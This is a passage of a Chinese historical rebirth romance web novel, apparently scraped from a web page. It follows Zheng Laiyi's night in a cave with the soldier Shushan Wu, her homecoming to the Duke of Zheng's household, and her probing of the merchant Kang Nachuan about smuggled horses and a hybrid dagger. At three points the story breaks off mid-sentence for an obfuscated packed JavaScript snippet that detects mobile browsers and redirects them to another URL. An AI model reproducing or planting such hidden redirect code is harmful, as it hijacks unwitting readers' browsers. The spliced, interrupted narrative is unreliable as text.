二人一前一后,等到进了山洞没多久,果然淅淅沥沥下起了雨。 山洞不大,但容纳两人还是绰绰有余。郑来仪靠着山壁坐下,便不再说话,隔着篝火静静看着叔山梧给自己裹伤。 他动作利落地解开上衣,露出右上臂不算浅的伤口,面无表情地上完药,从戎服下摆撕下长条布料,一端咬在口中,另一端往手臂上一圈圈地缠绕。 男人年轻的肢体线条流畅,古铜色皮肤上深浅不一的伤疤纵横交错,随着肌肉群的动作狰狞凸起,如同一尊战损的神像。 篝火燃烧,不时发出枯枝爆裂的脆响,郑来仪的视线停在火焰上方浮动变形的景象里,逐渐虚焦。 5. 别后忆相逢 “郎君的伤口看上去好严重,这血真的能止住么?” “无妨。” 少年眉眼间毫不在意,似乎这样的伤也是家常便饭,吁出一口气向后靠坐。 他的骨相比一般男子更为硬朗,鼻梁高挺,浓眉深目,鼻尖处带着微微下凹的弧度,令少年气的脸庞带了几分男人味。 让人忍不住想伸手抚平。 摘了幂篱的少女跪坐在火堆边,偷偷打量着闭眼小憩的男子,没料想他冷不丁地睁眼,捕捉到她闪避不及的目光,和瞬间红透的脸。 还好火光烈烈,让她的窘迫不那么明显。 “你叫什么名字?” “来仪、郑来仪。”少女的声音脆生生的。 火堆那头的人点了点头:“我叫叔山梧。” 叔山梧。叔、山、梧。 少女垂下眼睫,将名字在心中默念了两遍。叔山,是个不太多见的姓氏。 “会用刀么?” 郑来仪抬头,见叔山梧裹着绷带的手从靴中抽出一把匕首,朝她微微晃了晃。 方才叔山梧就是用这匕首杀了劫持她的叛军,为救她才受了伤。 “不、不会……” 她语气中有自责,若不是自己呆笨,危险临头不知躲闪,也不会带累恩人情急之下徒手接白刃,被敌人划伤了手背。 “你也看到了,我这会有些不便,若是敌人再来,你一个人总得有些防身的办法。” 郑来仪的视线移向他裹缠好的手背,犹疑道:“我……一个人?” 叔山梧听出她声音里恐惧,压下了几分语气中的冷硬:“我有任务在身,等到天亮须得离开。这里隐蔽,应当不会被人找到,你先在此暂避等人过来,但也需提防山中可能有猛兽。” 猛兽?郑来仪又是一惊。 真不是有意吓她,但这身娇肉贵的小姐已经因为自己的话如同惊弓之鸟。 叔山梧心中叹一口气,用自认为已经足够柔和的语气道:“我再留几个火折子給你,你将火堆一直燃着,猛兽一般是不敢靠近的。但以防万一——” 他起身,果断将匕首递了过去,刀刃朝着自己,刀柄放到她手里,“——拿好。” 火光倒映在柳叶一般的刃锋,他手中的匕首如有生命一般,杀气腾腾。 郑来仪颤抖的手一松,匕首“当啷”一声掉在地上,随之落地的还有两串断线珍珠般的眼泪。 她红着眼,感觉自己没用到了极点:“不、不,我不敢……” 最后叔山梧还是放弃了留她一人的打算,叹口气将匕首收回怀中,陪她在洞中待到天亮,等泰叔寻回方才离开。 她那时望着叔山梧纵马离去的背影,眼神中的留恋不舍连泰叔都察觉出了。 单纯无知的小白兔,为无情冷血的中山狼而迷惑。 想着前世在这洞中发生的一切,郑来仪的手指下意识抠进手边的木匣箱盖雕镂的花纹中,唇角的自嘲一闪而逝。 …… “姑娘一直抱着那匣子,是什么值钱物事?” 郑来仪抬眼看向篝火对面,少年狭长上挑的眼尾带着几分漫不经心。 “不是,只是些账簿。” 她倒是没说谎。这一次随泰叔回蓁州清点老家生意,这红木匣子里装的都是自家庄子和铺面的账簿。 这些年北边战乱频仍,江南岭南一带偏安南境,百姓富足安乐,生意一直都未受过什么影响。上一世他们得知叛军攻进中州,许久都恍惚觉得战事如同天方夜谭。 叔山梧若有所思:“还未请教姑娘姓名?” “区区贱名,不足挂齿。” 他听出对方没有过度交谈的意愿,也不以为意:“姑娘胆识过人,实在谦虚了。” 郑来仪心中一凛,见他始终注视着自己,深黑的瞳孔中带着审视。 “女儿家远门都不曾出过几回,何谈什么胆识,郎君取笑……”少女神色一派淡然,手指却在看不见的地方攥紧。 叔山梧同样靠壁坐着,姿势比她懒散许多,他左手握刀,将信手削下的木头扔进火堆,见郑来仪一动不动似在出神。 他咧了咧嘴,一扬手中的匕首:“姑娘似乎对我这把刀感兴趣?” 郑来仪视线缓缓移向火光中男人的脸。 他眉眼间的态度尚未经过太多浮沉,锋锐有余,城府尚且不足,试探之意明显得很。 她轻笑一声,一手捧着心,慢慢地道:“怎会?看到这些刀刀剑剑的,把人吓也吓死了。” 她的声音清凌凌的,让叔山梧蓦地想起那回千里奔袭后,冰山脚下捧起一抔初春的碎叶河水,入口时唇舌触及尚未融化的冰片,凉意转瞬即逝。 他的手下意识摸到腰间的水囊,反应过来水早已喝完,又默默收了回去。 “姑娘是荷州人士?” 郑来仪摇头:“只是家中有长辈在荷州。所以郎君是真的准备去荷州求援么?” “本来是的。那里的守军最近……” 一想到霁阳被围,叔山梧眉宇间的轻松消失了。 若不是自己有伤在身,也不会放任郑泰去荷州搬救兵。可这主仆二人素昧平生,不能将所有希望押在他们身上。 他的视线回到郑来仪身上,眸光微动,突然起身。 郑来仪见叔山梧大步朝她走来,垂在身侧的左手还握着那把匕首,背贴山壁跟着缓缓起身。 “我再停留一个时辰就走。这匕首你拿着,防身用。”他沉声催促,“快,握紧。” 郑来仪垂眸,柳叶形的刃锋锐利无比,光她所知,已经有三条亡魂葬身其下。 其中就包括上一世的自己。 少女接受的速度超出叔山梧的预期,柔软的手稳稳握住镂刻龙纹的手柄:“多谢郎君。” 二人之间距离不足一步,他再次闻到她身上淡淡香气,下意识松了手,退后一步便要回原地坐下。 对面的人却又向前,将匕首伸了过来。 少女的声音微微发颤,惹人怜惜:“郎君教教我,怎么用?” 叔山梧嘴角微动,刚要触到郑来仪握着刀柄的手背,却在半空中顿住。 荑手纤纤,皓白修长的手骨与冷硬的匕首产生了一种矛盾而和谐的美感。 他收回手,转身看了一番,随地捡起一截短树枝来。 “匕首用于近身格斗,是性命相搏时最后一道防线。用起来其实没有什么技巧,唯有‘快’和‘狠’二字而已……” 他信手比划两下,分别作正反手的“插”和“捅”的动作,毫无杀伤力的树枝在他手中挥出残影,带起的劲风将篝火都扇得旺了些。 “——在对方出其不意时,一击制敌。你只记住,一旦匕首出鞘,若不能杀死对手,便是被对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叔山梧收回思路,眉头微松,毫无避讳地打量着郑来仪。 死里逃生,如今约莫已是三更天,一夜未进食水,这小姐却依旧行止端庄,纵使衣裙下摆被树枝划破,一双短靴在泥泞山林中踩得有些脏污,幂篱却好好地遮盖住头脸,坐姿端正未显半分疲态,言语逻辑始终清醒自持。 他眼眸微眯,这姑娘绝非如她所暗示的,是什么普通的商户之女。 郑来仪是真的要撑不住了,上一辈子那样结束,重生后又立即陷入险境,她此时又困又累又饿,求生的本能促使她在这人面前又得时刻吊着精神,他不阖眼,自己也绝不想放松警惕。 可是真的好累啊,她早知道这男人是铁打的,陌生环境中绝不可能放松戒备,要等他松懈,难度甚过熬鹰。 第十七次眼皮打架又强行睁开后,她终于开口,语带关切地问叔山梧:“郎君要不要休息一会?受了伤是该养精蓄锐的呢,我可以替你守着……” 叔山梧笑了起来,直白地戳破她心思:“我还以为你真的不困。你休息会吧,我这有伤在身,纵使意图不轨,也是有心无力。” “……我、不是这个意思……” “我醒着能对付敌人,你醒着是要对付我么?” 他冲着郑来仪歪了下头,嘴角有一抹调侃的笑意,却看不见轻纱后郑来仪僵硬的脸。 “也罢,刀在你手里,随你。” 叔山梧这话说完,上身向后倒,双手背在脑后,仰面躺了下来。 竟真是一副全然放松就地休息的姿态。 郑来仪看着他阖目静息,方才的玩笑如同蛊惑,不自觉颤抖着伸手,摸向身旁的匕首。 6. 明旦非今日 匕首冰凉,她手指甫一触到就立即缩了回去。 四野阒然,郑来仪一时只听见自己的心跳声,那闭着眼的人却突然开了口。 “此去荷州,连夜疾驰也要天明方能赶回,你那位家丁若一路顺利,晌午前便能与你会合。” 半晌,郑来仪低声回应:“但愿一切顺利。” 沉默了一会,她再开口,声音沉稳了许多。 “敌众我寡,此时一旦开战,霁阳城能坚持多久?” 躺着的人望向不远处滴着水的洞缘,声音如同灌了入夜的寒风。 “守有城之邑,不知以死人之力与客生力战,其城拔。1” 郑来仪心一沉。 叔山梧转头看向她:“姑娘不是说了么,当下,霁阳的众将士也只有尽人事、听天命而已。” 以死人之力与客生力战。霁阳守备军竟已有如此觉悟? 郑来仪在幂篱后皱着眉,此刻她已经记不得当年霁阳守卫战是怎么胜的,但想来过程绝不简单。 长庚高悬,在树叶间忽明忽暗。 “郎君的伤似乎不再流血了,快快归队吧。”火堆边端坐的少女突然出声。 叔山梧一怔,撑着身子坐了起来。他视线被幂篱遮断,停在少女露出一角白皙小巧的下颌。 “你一人在这里不会怕?” “没什么可怕的。猛兽再厉害,不如人心可怖。” 叔山梧看着她,眼中现出琢磨的神色。 “去吧。战事紧急,郎君一去,奴家方能安心。我会让火好好燃着,猛兽也不敢过来。”对面的人语气坦率,倒像是反过来安慰他。 叔山梧将手中摆弄着的木棍一扔,扬了扬眉:“也罢。那便恕在下少陪。” 昂藏身形倏然站起,大步迈向洞口,又在走出去前突然转身,挑眉道:“郑姑娘保重,叔山梧告辞。” 郑来仪闻言面色大变,猛地抬头,见他唇角稍纵即逝的狡黠,没有等她回应,便消失在茂密的林木之中。 - 山野间寒凉的风拂过脸庞,天边泛起鱼肚白,稀薄的晨光照在一身黑衣的赶路人身上。 叔山梧几乎没费什么力气就找到了马匹,当即沿着道一路向东。 他御马的姿态很稳,不亚于那些号称在马背上生活的胡人,紧抿着唇神色专注,盯紧前方的同时,对四周环境时刻保持着警惕。 马蹄闼闼在空山中回响,不知是想到了什么,叔山梧紧绷的神色突然松动了些。 临别时略一试探,那姑娘一瞬间暴露出无措,他便知道自己猜对了。 虽然她已经在刻意地收敛,但举手投足间贵族的气质无法掩盖,更不用说他瞥到一眼郑来仪从袖笼中摸出来、递给自家下人的那枚玉佩。 玉色清澈温润,一看便是价值连城的宝贝,上面的纹样依稀像是本朝皇室供奉的圣物——一只振翅的漱金鸟。 他虽在边境做捉生将,眼界却绝非同于底层的士兵。他清楚得很,敢让家中女儿随身佩戴御赐玉佩出门,不会担心她因为损坏或遗失而牵连全族的这份松弛和底气,放眼全大祈也只有数一数二的那两家。 家中的长辈在荷州,是能够决定守备军调遣的人物,除了虢王李澹不作第二人想。 而玉京和李氏皇族联姻的老臣,便只有尚书右仆射、封郑国公的上柱国郑远持了。 唯一令叔山梧稍觉意外的,就是这姑娘并没有想象中高门小姐的做派。 年纪虽然不大,却冷静、沉稳、果断,还带着些锋芒。 念及她最后被自己一语道破出身时的反应,叔山梧想象着幂篱后那张脸的神情,面上的笑意变得明显。 马蹄踏在雨后的山道上,溅起一路泥水,他突然提起缰绳,嘶鸣声中,翻身下了马。 黑色军靴踩上松软的路面,停在一座界碑前——连夜疾驰不停,此刻已经到了河南、淮南二道的交界处。 叔山梧蹲下身子,借着不甚明朗的天光观察泥泞的山道,锋利的薄唇抿紧了。 男人目光如鹰隼,沿着正东方笔直的官道眺望了一会,随即翻身上马。 “驾!!” 一人一马再次上路,他改道通向北方的窄路,很快消失在山道尽头。 - 郑泰赶回鹤臯山时,山洞中只剩下郑来仪一人。 他不免有些怨怪语气,虽理解军令如山,但这叔山小郎君把小姐一人留在荒山中离开,实在是有些不够男人。 “难道你走时将我托付给他了?” 听着郑泰喃喃不住地抱怨,郑来仪只是淡淡语气,也不解释是自己主动让叔山梧走的。 郑泰一噎。这倒是没有,他走时匆忙,对叔山梧本就有种莫名的信赖,是以也没和他达成什么口头的约定,“可这人——” “孤男寡女,我也实在有些害怕。他走了,我反倒自在些。” 既然郑来仪都这么说,郑泰也就不再说什么。 “荷州那边怎么样?”郑来仪关心他去求援的结果。 郑泰一边套马,一边回禀:“张绍鼎听说小姐遇险,当场答应去调兵,老奴不敢耽搁,送完信就回来了,这会子援军应当已经在路上了。” 郑来仪闻言皱眉:“没有见到舅舅么?” 郑来仪的舅舅虢王李澹,乃是常驻荷州的淮南防御使。荷州刺史张绍鼎总领地方政务,荷州守备军却由身为宗族子弟的虢王统辖,荷州若需用兵,还需征得李澹的首肯。 郑来仪之所以让郑泰拿着自己的玉佩去荷州,也是奔着有用兵权的虢王去,郑泰自然明白:“王爷没在荷州——小姐放心,军情如此紧急,事关大祈安危,张绍鼎不敢怠慢。” 郑来仪心中忧虑却未就此消除。段良麒率军从北部进犯,大军兵临城下,关内屯兵皆当严阵以待,这个时候身为淮南防御使的舅舅不在驻地,他会去哪? 马车飞驰在回玉京的路上。 郑来仪抬手捏捏眉心,上一世心思沉溺于儿女私情,浑浑噩噩不觉兵荒马乱,待到家园倾覆已是来不及了。 这一次,定不能再重蹈覆辙。 - 马车进入侍贤坊,郑国公府前那座巨大的影壁出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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国公府的春天,是她少女梦幻和想象的温床,父母长辈细致呵护着她的天真骄傲,直到十七岁前郑来仪不曾见过黑暗亲历苦难,更未体验过人心之复杂。 “石榴要开花了,你最喜欢的……” 李夫人也跟着放慢脚步,见女儿贪恋地流连于院中馥郁的春景,目光停在院中一株石榴树上不动。 这石榴还是郑远持为讨女儿欢心,让人费力气从西域带回的秧苗,又专门找了当地的花匠传授养护之法,功夫不负有心人,丰收时节结出满树的石榴,来仪能吃得满手满脸红色的汁水。 她抬手摸到来仪略微清减的脸颊,难以想象这些日子宝贝女儿是如何在惊恐中度过,一边转头吩咐侯在一旁的丫鬟紫袖:“先给小姐准备热水沐浴,去去疲。” 紫袖应了是,快步向东院去了。李夫人转而温声对女儿道:“晚上我让他们准备鸭花汤饼,还是你想吃乳酿鱼?对,再叫厨房蒸一笼金乳酥来!这一路肯定都没好好吃东西,把我的椒椒都饿瘦了……” 来仪笑着拉住母亲,一边抹了下眼角的湿润:“娘,那些先不着急,我想好好和您说说话呢。” “好~乖乖,先去沐浴,娘一会找你去。” “娘,我晚上想和你睡~” “好~!” 7. 本是无凭语 郑来仪真的在青岫堂和母亲睡了一夜。 她给母亲讲一路的见闻,这一次却没有像上一世一样,兴奋不已地讲述她被从天而降的大英雄救命的前因后果,遇到麒临叛军的事情也只是匆匆带过,李夫人却依旧不免露出忧心忡忡的表情。 就这样说话到夜深,才紧搂着母亲沉沉睡去。 睡到日上帘钩,阳光穿透了架子床镂空的花鸟,郑来仪依旧闭着眼翻了个身,还没睡够。屁股上便被轻轻拍了下。 “也该差不多了,再没一会儿都该用午食了,起来梳洗吧!” 李砚卿站在床边,身后站着带笑的紫袖和青霓,一个臂上搭着小姐的衣裳,一个捧着漱口的托盘,静等着伺候。 郑来仪起身,手臂撑在两侧,坐在榻上发怔。 她很久没有在青岫堂过夜,上一次还是大婚前一晚,老父亲为了成全他们母女不舍,默默为女儿的任性让位。 她闻到母亲身上淡淡的檀香味道,知道她定是刚从佛堂过来。 “绵韵已经来过两趟了,催问妹妹醒了没,紫袖劝着没让她进,扁着嘴回去的,你要不要起来了?” “起!”郑来仪干脆地起了身。 郑国公府四个儿女,夫人李砚卿育有二女,长女郑薜萝已经嫁人,侧室方姨娘生的是兄妹俩,二哥郑成帷在兵部司,三姐郑绵韵是与来仪年纪最为相仿的姊妹,生来是个胆小谨慎的性子,虽稍长来仪半岁,却事事要跟在妹妹后面。整日里除了睡觉,都是玩闹在一处,感情最是要好。 这一回来仪跟着郑泰南下去蓁州,临别时绵韵更是一路送到坊门外,才依依不舍地抹泪作别。 紫袖看自家姑娘揩面梳妆穿衣一气呵成,掩住嘴笑:“小姐,您慢着点,仔细眉毛画到发髻里去——三小姐又不会跑……” 郑来仪干脆把眉笔往妆台上一拍:“算了,画什么!都是自家姐妹,谁还不知道谁——我去啦!” 说罢站起身,一溜烟跑了没影。 绵韵正百无聊赖地坐在秋千上,听见院外传来动静,连忙起身走到月门处。小径后花枝微动,还未见人影,已经听见郑来仪的调笑声。 “瞧瞧姐姐这望穿眼孟女的架势……” 绵韵眼睛一亮,一只脚跨出门,伸手把藏在蔷薇花墙后的人拽了过来。 只有在来仪面前,绵韵是纯然的无拘无束,一副不甘示弱的样子:“你又好得了多少,看看这描了一半的眉,母亲说过多少回让你稳重些!” “哈!三姐稳重,是谁一大早跑去青岫堂两趟……” “你——谁让你大老远回来也不来找我,这么大了还挤上母亲身边睡,羞不羞——” “我听见绵韵这神气劲,就知道是来仪回来啦!” 郑来仪松开姐姐的手,一扭头见廊下站着一个温婉绰约的年轻妇人,小跑两步扎进人怀里。 “姨娘,来仪想死你了!” “嘴甜的小骗子,是想我院里的冷蟾儿羹了吧!” 方花实一脸慈爱,轻轻捏了捏郑来仪软糯的腮帮子,来仪她捏完,转头冲绵韵做个鬼脸:“都想!就是不想三姐!” 郑绵韵听闻,皱起鼻子正欲再度和妹妹斗上三百回嘴,被方姨娘笑着止住了。 “行啦,别乌眼鸡似的斗!快跟姨娘进来,我帮你把眉描完。绵韵,你也进来用早点吧。” 郑来仪偃旗息鼓,乖乖跟着姨娘进了屋。 尚书右仆射郑远持身为大祈股肱,尊荣富贵自是不用多言,然而同朝为官者,真正羡慕却不好明言的却是他出了名安定和美的家宅后院。 夫人李砚卿,是已故敦亲王的爱女,当年也算是大祈数一数二的美人,雍容大方,不亚皇女,难得是还没有皇女骄纵跋扈的脾气;二房姨娘方花实,也系出淮南名门,温柔婉约,绣工厨艺样样了得。 李砚卿从不因出身高人一等,或进门先人一步,便作践排挤,虽然这样的事情在玉京高门大户中屡见不鲜,李砚卿却是不屑的,有人分担治家的压力,她还求之不得作悠闲贵妇,生下两个粉妆玉琢的宝贝女儿后,连琐碎的家务事平常都不太沾手了。 而以方花实的背景,倒也本是可以嫁入好人家作正妻,可她也有自己的看得开:一来老爷会疼人,更难得夫人亦是洒脱的人物,倘若相识于闺中,也作得好姐妹;倘若去了别人家作正妻,说不好会遇上什么样会作妖的姨娘,打起官司来损敌一千自伤八百,实在熬人,自己的母亲便是最好的例子。 是以大房二房所出的子女,皆养在各自生母房中,不存在争风吃醋,更从来没有市井传说中大户人家各房为家产争养儿子打破头的故事。在国公府里,嫡庶之分从来不值一提,儿女只看是否懂事贴心。 尤其是郑远持的三个女儿,一个赛一个的玲珑剔透,每一个几乎都是尚在豆蔻年华中,便被各大世家眼光毒辣的主母们着意锁定“掐尖”。国公府就连门前洒扫的下人都知道,老爷是个确确实实的女儿奴。 在这样的家中长大的郑来仪,独得所有人的宠溺。 方姨娘细看了眼来仪描了一半的眉毛,从妆奁中挑出一支颜色相近的螺黛,细细上手描着,一边喃喃:“看你啊,都瘦了,听郑泰说了你们路上遇到的事,吓得我心都跳出来,真要遇上个好歹,可怎么好哦……” 来仪闭着眼浑若未闻,一脸享受:“姨娘,你好香啊……” 方花实“噗嗤”笑出声:“这丫头,出去一趟,嘴学得这么甜!” 绵韵倚在妆台旁看着来仪享受的姿态,笑骂:“她也就是一张嘴!” 方花实看了自家女儿一眼,“那你也好好学学她那张嘴,不然要嫁了人,还和锯了嘴的葫芦似的怎么办,整日和郎君大眼瞪小眼么!” 郑来仪闻言睁眼,只见郑绵韵一张脸已经通红。 绵韵大自己半岁,上月刚过的生日,实岁已经十七了。是可以相看夫婿的年纪了。 上一世她许的人家是…… 方花实在来仪眉上细致描画着,一边道,“夫人手里递上来的帖子不少,昨日我也去看了,那兵部尚书杜家的小儿子境宽和你年纪相仿,样貌本领据说都是上乘,将来万一……也好帮衬着点成帷。” 是了,兵部尚书杜昌益的第三子杜境宽。 叔山氏兵起之时,杜境宽已经是禁军统领,临时投叛倒戈朝廷,打开祈安门,引清野军入玉京屠城,哀鸿遍野。 “不然,还是再多看看吧。”郑来仪忍不住出声。 方花实已经替她描完,正仔细端详着两边的眉形,闻言笑了起来:“你这丫头,倒替姐姐操心起来。你自己呢?怎么想的?” “我……我还早,现在没这心思……”方才冷不丁插话的人,这会子倒是语气犹豫。 方姨娘去青岫堂和李夫人商量女儿婚事时,见到桌案上高高摞起的名贴,几乎是汇集了玉京所有有头脸的人家。她和夫人之间说话从不拐弯,当时便好奇问兵部尚书府这样的门第,已是数一数二,怎么不留着给来仪过过眼? 得到李砚卿无奈语气回答:她呀,什么都要自己挑,老爷也由得她去,我何苦夹在其中做恶人! 方花实当时便笑,这是做得哪门子恶人!挑衣服挑首饰由她便罢了,挑郎婿这样的事,哪能全由着椒椒的性子来,做娘亲的起码过一遍筛啊! 李砚卿只是摆摆手摇头不语。 思及此,方花实唇角勾起调侃的笑意,点点头道,“……也是,这些人家的儿郎配我们椒椒还是太过普通了,还是紫宸宫里——” “姨娘。” 郑来仪蓦然打断。 上一世她便是众人口中太子妃的头号人选,只是她却知道,眼下东宫太子是个短命的病秧子,莫说前世的自己,就是父亲也曾几番婉言推拒皇后的示好。 方花实自知多言,只对一旁的绵韵道,“午食后你去你母亲那儿也看看,咱们也不是那不开明的人家,夫人的意思,这是你自己的终身大事,你自己也挑挑。” 绵韵低头绞着帕子,脸红的程度已经如熟透的李子,一句不肯多言。 方花实便点着女儿,语气无奈地看向来仪,“你看看这丫头,方才的神气劲全没影儿了,我有时候真是担心,将来嫁了人,姊妹们不在身边帮衬着,她要受人欺负。” 郑来仪这下倒是帮着绵韵说话:“三姐不过话少些,总比色厉内荏的好!” 方姨娘叹了口气:“我只盼着她啊,能像你似的,有些自己的主意。” 郑来仪语气淡了下来,“自己拿主意,谁知道是对是错、是福是祸……” 方花实抬眉,因这话中悲观意味微觉诧异。 郑来仪察觉自己反常,挤出个笑脸扯着方花实的袖子,腻歪的语气,“姨娘,椒椒不嫁人,一辈子在这里陪着你们好不好?” “自然好啊——可我说好没有用啊!你去问问你父亲母亲好不好!” “我不管,嫁人有什么好的~不如留在这里和绵韵一起玩!” 方花实忍俊不禁:“你自己问问绵韵吧,她愿不愿意一直在这里陪你一起玩!” 郑绵韵面上的羞红淡了些,低声道:“我自然愿意。” 郑来仪却从三姐的神情中看出她在嘴硬。 绵韵是见过杜境宽的,正月初七,人日登高,观音寺后杜境宽捡到了三姐发间掉下的彩胜,那时她的神情,来仪印象深刻。 因为她的脸上,也曾经出现过和绵韵一样的神情。 在府中修整两日后,郑来仪出了趟门。 她骑着马穿过万祀大街,直奔西市,在一家门庭若市的货坊门口停住。 尚未下马,掌柜的便亲自出门迎接,将她引至内堂。 “四小姐,今日怎么亲自来了?” 货栈老板康纳川是粟特人,说一口流利的官话,身材瘦长,高鼻深目,一头褐色卷发,瞳色比发色还要更浅些。 他经营的是西市最大的货栈,每日里迎来送往的商队运力强大,经手的货物从丝绸茶叶到黄金珠宝,品类繁多。就连为皇室做首饰的司珍坊有时也会来找他进货,几乎可说是玉京潮流的源头。 康纳川和玉京不少达官贵人都可算得上是生意伙伴,与郑国公府亦是不可谓不熟——郑氏在蓁州老宅的产业,除庄园外,还有茶园、车坊、碾恺和各式店铺,其中蓁州特产的丝织品,相当一部分都经由他的货坊出口至关外。 和玉京的高官富商、各类衙署机构来往久了,康纳川也代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158438|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理起为关外人办理文牒和过所的业务。他为人八面玲珑,三教九流无所不交,身为胡人却在玉京如鱼得水,也因此总有寻常人想不到的门路。 国公府一般由郑泰出面和康纳川主要打交道,是以郑来仪算是稀客。在康纳川的印象里,国公府的四小姐是个古灵精怪的丫头,年纪不大,想法却是天马行空。 有一回随着郑泰来他的货栈里盘点,趴在柜台上看郑泰和他谈了小半个时辰,托着下巴天马行空道:“你的眼睛是浅绿色的,若是娶了关内的女娘,那你们的孩子,眼睛会不会变成墨绿色……” 郑泰也掩着嘴笑,顺着郑来仪的话夸她聪明。康纳川就看出,这国公府家的四小姐是被宠到大的,普通大官家的女儿言行所受的规矩约束,在她这里却是没有的。 “康老板生意兴隆啊!” 郑来仪一路走进来,不动声色地将货栈中忙碌的景象尽纳眼底——北边已经起了战乱,他这里却似乎并没有受到特别大的影响。 以康纳川的机敏,自然知道她言下之意,他叹了口气:“四小姐笑话我呢,我是不该和您抱怨的,但眼下时局您也知道,玉京的关卡严了许多,与周边国家商队的往来少了一半不止——” 他瞄一眼外间,压低声音,“如今玉京不少大户,都在寻摸着转移资产呢……” 他口中的“大户”,不乏朝中许多家产丰厚的老臣。这样的事情,郑来仪自然是心知肚明,康纳川油滑,这样的态度,无非是在向郑国公府卖好。 郑来仪无心计较,玉京表面平静,高层们却已经开始寻求退路,那皇帝呢?为何还未见朝廷明旨对抗叛军的举措? 康纳川见郑来仪沉吟不语,心中犯了嘀咕:“四小姐今日来有何指示?” 少女明亮的眼睛微微闪动:“我想购马,康老板这里可能找到品相好些的?” “四小姐想购马?”康纳川狐疑,“为何不去骡马行?” “我想买沮渠马,寻常骡马行没有。” 康纳川眉头一蹙,而后为难道,“四小姐莫开玩笑,沮渠马是官马,陇右大片的牧场都已交由官营,四小姐若是喜欢,去找您父亲,不比小的这里……” “父亲怕我摔,不肯我骑高头大马,家里那匹嶲州马骑出去低人一头,我不喜欢!” 康纳川忍不住腹诽:那可不是么!玉京的大小姐们出门大多是坐车辇,有骑马的也优选体型适中性格温驯、便于驾驭的坐骑。那沮渠马都是身长平均八尺的禁军骑兵才驾驭得了,您得家里奴才驮在肩上才能上得了马吧! 郑来仪瞟着康纳川的神色,故意道:“康老板莫要瞒我,我那回明明见杜尚书家的公子骑了一匹沮渠马——他也不是禁军中人,怎么就能骑突厥马?” 康纳川不敢接话,这事和他不无关系,也是为了巴结杜家,谁能想到郑四小姐这活祖宗,兵部尚书家的公子骑官马,普通人谁闲的没事敢去置喙。 郑来仪眯起眼睛,又是悠悠地道:“对了,我前两日从蓁州老宅查账回来,路上遇到了叛军,那段贼部曲的坐骑,长肋密而如辫,耳根纤锐,腹平肷小1……康老板,我问你:陇右官营牧场特供禁军和内廷的沮渠马,如何会出现在麒临军中?” 康纳川瞪大眼睛,说他走私几匹沮渠马特供京中子弟认了也罢,问他叛军中如何会出现官马,这诛九族的大罪他是无论不能认的,当下大呼冤枉。 “佛祖在上啊!这事问小的,小的打哪里知道去?!小的在西市开货栈这么些年,往来的生意虽多,可从来不会头昏到这等地步!这真的和小的无关啊四小姐!!” 郑来仪抿一口茶汤,微微笑了笑,“你急甚么,谁说和你有关了?” 康纳川一口气还没喘匀,又听见郑来仪不阴不阳地一句,“不过,也没证据就证明和康老板没关系呢,毕竟关内和关外三分之一的货物往来,都得过康老板您的手,剩余的三分之一,也是您的生意伙伴……” 她眼神倏然严厉,语气却循循善诱,“兵马未动粮草先行,段良麒起兵的时日不短了,麒临军的供给源源不断,足以支撑到攻破祈州,仅靠军屯自给自足远远不够,难道关内水陆纵横的商路上就没有任何迹象可循?” 康纳川方才还一心抗辩,此刻却不急着说话了,他看着面前这个朱唇皓齿却咄咄逼人的四小姐,心思已然转了十八个弯。 她这是,替郑国公来暗访的么? 他斟酌一会,语气比方才坦率了不少:“四小姐明鉴,小的这货栈规模不算小,一举一动却都在朝廷监管之下,往来的贸易也都以布匹茶叶、宝石绫罗居多,入关出关都要经官府核验。你要说有贼人借着我这里整日上百支往来商队浑水摸鱼,往关外运些零散物品,那我老康确实也不敢保证绝无此事,但——” 康纳川拍着胸脯保证,“——若说战马这样的东西,小的这根弦绷得可紧,绝无可能!” “那武器呢?” 康纳川恨不得跳起来,“那就更不可能了!” 郑来仪点点头,没说什么,却从袖中摸出一样东西,放在二人之间的桌案上。 康纳川狐疑着拿起来,仔细端详了一阵,神色凝重地抬头。 “这匕首,四小姐从何得来?” 8. 空城唯白骨 郑来仪的视线停在那把匕首上,一时没有立刻回答康纳川。 康纳川一手握鞘、一手持柄,缓缓出鞘,眉间浮起浓重的疑惑:“奇怪……” “康老板可曾见过这样的匕首么?” 康纳川抿了抿厚厚的嘴唇,将匕首朝郑来仪递近了些,“四小姐请看,这匕首的锋刃如龙鳞,却是中原流传许久的百辟匕首的式样,龙鳞匕首异常锋利,传说是上古时期喜好酷刑的君王专用来凌迟罪臣的兵刃……” 说到这里他意识到描述过于血腥,抬眼看了眼对面的四小姐,对方却面色如常,平静道:“继续。” 康纳川将匕首收回鞘内,握住了刀刃,“可是,这把匕首的刀柄,却有些奇怪……”他语气犹豫起来。 “这不是关内的东西吧?” 康纳川迅速看向郑来仪,见她正静静看着自己,眼神中带着不好糊弄的锐利。 “……不好说。这匕首的手柄非同中原形制的直柄,而是带有弧度的曲线。关外有种弯刀,刀刃形如偃月,刀柄便是这样的形状,可是话又说回来,凭胡人的工艺,是作不出这样直刃的龙鳞刀锋的——” 他眼神中的困惑十分明显,“——这把刀,倒像是混合了异族的血统。” 方才还疾言厉色的郑来仪突变得神色莫测,她缓缓抚过刀鞘,将匕首重新收了起来。 “康老板,来仪想和您做个交易。” 康纳川的视线一路随着她将匕首收起,犹豫半天到底没敢追问这刀到底是从哪里得来,收拾心神道:“四小姐请讲。” 